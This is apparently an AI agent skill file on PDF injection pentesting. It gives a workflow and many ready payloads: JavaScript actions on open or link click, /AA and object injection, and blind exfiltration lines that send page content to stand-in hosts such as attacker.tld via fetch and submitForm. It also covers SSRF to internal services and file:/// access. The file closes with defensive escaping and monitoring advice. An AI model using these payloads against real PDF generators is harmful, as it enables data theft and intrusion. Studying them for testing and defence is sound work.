Hacktricks-skills pdf-injection-pentest
PDF injection vulnerability testing and exploitation. Use this skill whenever you need to test for PDF injection vulnerabilities, craft PDF injection payloads, analyze PDF structures for injection points, or assess PDF generation libraries for security issues. Trigger this skill for any task involving PDF security, PDF XSS, PDF-based SSRF, or when reviewing code that generates PDFs from user input. Don't forget to use this skill even if the user just mentions "PDF security" or "PDF vulnerabilities" without explicitly asking for injection testing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/pdf-injection/SKILL.MDPDF Injection Pentesting Skill
A comprehensive skill for identifying, exploiting, and defending against PDF injection vulnerabilities. PDF syntax is extremely permissive—if you can break out of a string or dictionary embedding user input, you can inject new objects that PDF viewers will execute.
When to Use This Skill
Use this skill when:
- Testing applications that generate PDFs from user-controlled input
- Investigating reflected input inside PDF files
- Crafting payloads for PDF-based XSS or SSRF
- Reviewing PDF generation libraries (jsPDF, node-qpdf, etc.)
- Analyzing PDF structures for injection points
- Assessing bug bounty targets with PDF generation features
- Needing to exfiltrate data through PDF viewers
Core Attack Workflow
Step 1: Identify Injection Points
Look for user-controlled values that end up inside:
- Parenthesis strings:
(user_input) - URI fields:
/URI (https://...user_input...) - JavaScript fields:
/JS (app.alert(user_input)) - Annotation dictionaries
- Form field values
Common vulnerable patterns:
// jsPDF - UNSAFE doc.text(userInput, 50, 50) // If userInput contains ) or doc.addJS(userInput) // Direct injection into JS field // Python reportlab - UNSAFE canvas.drawString(100, 100, user_input)
Step 2: Craft Injection Payloads
The key is closing the original string/dictionary and injecting new PDF objects.
Basic string escape:
) ) /A << /S /JavaScript /JS (app.alert("XSS")) >> (
Complete payload structure:
- Close the original string:
) - Add space or newline
- Inject your action/object
- Reopen string to maintain validity:
(
Step 3: Deliver and Execute
- Direct delivery: Send malicious PDF to victim
- Blind exploitation: Target backend services that render PDFs
- Link hijacking: Inject into
annotations for click-triggered execution/Link
Payload Primitives
JavaScript Execution on Open
/OpenAction << /S /JavaScript /JS (app.alert("PDF pwned")) >>
Works in: Acrobat Reader, Adobe Reader Does NOT work in: Chrome PDFium (sandboxed)
JavaScript on Link Click
/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>
Works in: PDFium (Chrome/Edge), Acrobat Requires: Control over a
/Link annotation
Blind Data Exfiltration
<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)
Combine with JavaScript to extract content:
this.getPageNthWord(0, 0, 0) // Get first word from page
Server-Side SSRF
/URI (https://internal-service.local/admin)
Use case: When backend services render PDFs and honor
/URI actions
Additional Actions (/AA) Injection
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Triggers on: Document open, focus events Target: Catalog, Page, Annotation, or Form dictionaries
Full Object Injection (with newlines)
\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj\n
Requires: Ability to inject newline characters Power: Can create completely new PDF objects
Blind Enumeration (Gareth Heyes)
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Purpose: Enumerate all objects in unknown PDF Output: JSON-ish dump via outbound requests
Real-World Vulnerability Patterns
CVE-2026-25755 (jsPDF addJS)
Vulnerability: Unsanitized input in
addJS() method
Injection: Close JS literal, inject /AA → /O → /JavaScript
Impact: JavaScript execution on open/focus
Exploitation:
// Vulnerable code doc.addJS(userInput) // Payload ) /AA << /O << /S /JavaScript /JS (malicious_code) >> >> (
CVE-2024-4367 (PDF.js)
Vulnerability: Sandbox bypass in Firefox PDF.js < 4.2.67 Injection: Crafted
/JavaScript action
Impact: Arbitrary JavaScript execution
Invoice Note Injection (Bug Bounty 2024)
Vulnerability: Customer notes in
/URI field
Injection: ) /URI (https://attacker.tld/?ssrf=internal) (
Impact: SSRF to internal metadata host
Reward: $10,000
Testing Methodology
Phase 1: Reconnaissance
-
Identify PDF generation endpoints
- Invoice generation
- Report exports
- Document downloads
- Certificate generation
-
Map user input to PDF output
- Submit test values with special characters
- Look for:
,)
,\
,(
,<<>> - Check if input appears in PDF structure
-
Determine PDF viewer context
- Client-side rendering (Chrome, Firefox, Acrobat)
- Server-side rendering (backend services)
- Automatic processing (email attachments, document management)
Phase 2: Injection Testing
-
Test string escape sequences
Test: ) ( → Check if breaks out of string Test: \) ( → Check if backslash escapes Test: )\n( → Check if newline injection works -
Test action injection
Payload: ) /A << /S /JavaScript /JS (app.alert(1)) >> ( Expected: Alert on link click or document open -
Test object injection
Payload: )\n10 0 obj\n<< /Type /Action /S /JavaScript /JS (app.alert(1)) >>\nendobj\n( Expected: New object in PDF structure
Phase 3: Exploitation
-
For XSS:
- Use
actions/JavaScript - Target Acrobat for full API access
- Use
for content extractionthis.getPageNthWord()
- Use
-
For SSRF:
- Use
actions with internal URLs/URI - Target backend PDF rendering services
- Use
scheme for local file accessfile:///
- Use
-
For Blind Bugs:
- Use outbound HTTP requests in JavaScript
- Use
to exfiltrate datasubmitForm() - Use enumeration payload for structure discovery
Defensive Recommendations
For Developers
-
Never concatenate raw user input in PDF strings
// BAD doc.text(userInput, 50, 50) // GOOD doc.text(escapePDF(userInput), 50, 50) -
Use hex strings for untrusted content
<48656C6C6F> instead of (Hello) -
Escape special characters per PDF spec §7.3
→\\\
→(\(
→)\)- Newlines →
\n
-
Validate and sanitize action dictionaries
- Strip
,/OpenAction
,/AA
,/Launch
,/SubmitForm/ImportData - Block
URI schemesjavascript:
- Strip
-
Use safe PDF libraries
- Keep jsPDF, reportlab, qpdf updated
- Review library changelogs for security fixes
For Security Teams
-
Post-process untrusted PDFs
qpdf --decrypt --linearize untrusted.pdf cleaned.pdf -
Render with headless converters
- Remove JavaScript and external actions
- Use sandboxed environments
-
Keep viewers updated
- PDF.js ≥ 4.2.67
- Acrobat Reader ≥ July 2024 patches
- Chrome/Edge PDFium (auto-updates)
-
Monitor for exploitation
- Watch for outbound requests from PDF viewers
- Log PDF generation with user input
- Alert on unusual PDF structures
Quick Reference
| Goal | Payload | Viewer Support |
|---|---|---|
| Alert on open | | Acrobat only |
| Alert on click | | All viewers |
| Data exfil | | Acrobat |
| SSRF | | Backend renderers |
| Object injection | | All (if newlines allowed) |
| Enumeration | | Acrobat |
References
- PortSwigger: "Portable Data exFiltration – XSS for PDFs" (May 2024)
- Dawid Ryłko: "CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js" (Apr 2024)
- GitLab Advisory: "CVE-2026-25755: jsPDF PDF Object Injection" (Feb 2026)
- PDF Specification §7.3: Text String Objects
- Adobe Acrobat Help: Embedded Action Signing Warning (Sep 2025)
Next Steps
After identifying a PDF injection vulnerability:
- Document the injection point and payload
- Test across multiple PDF viewers
- Assess impact (XSS, SSRF, data exfiltration)
- Provide remediation guidance
- Consider blind exploitation if direct testing isn't possible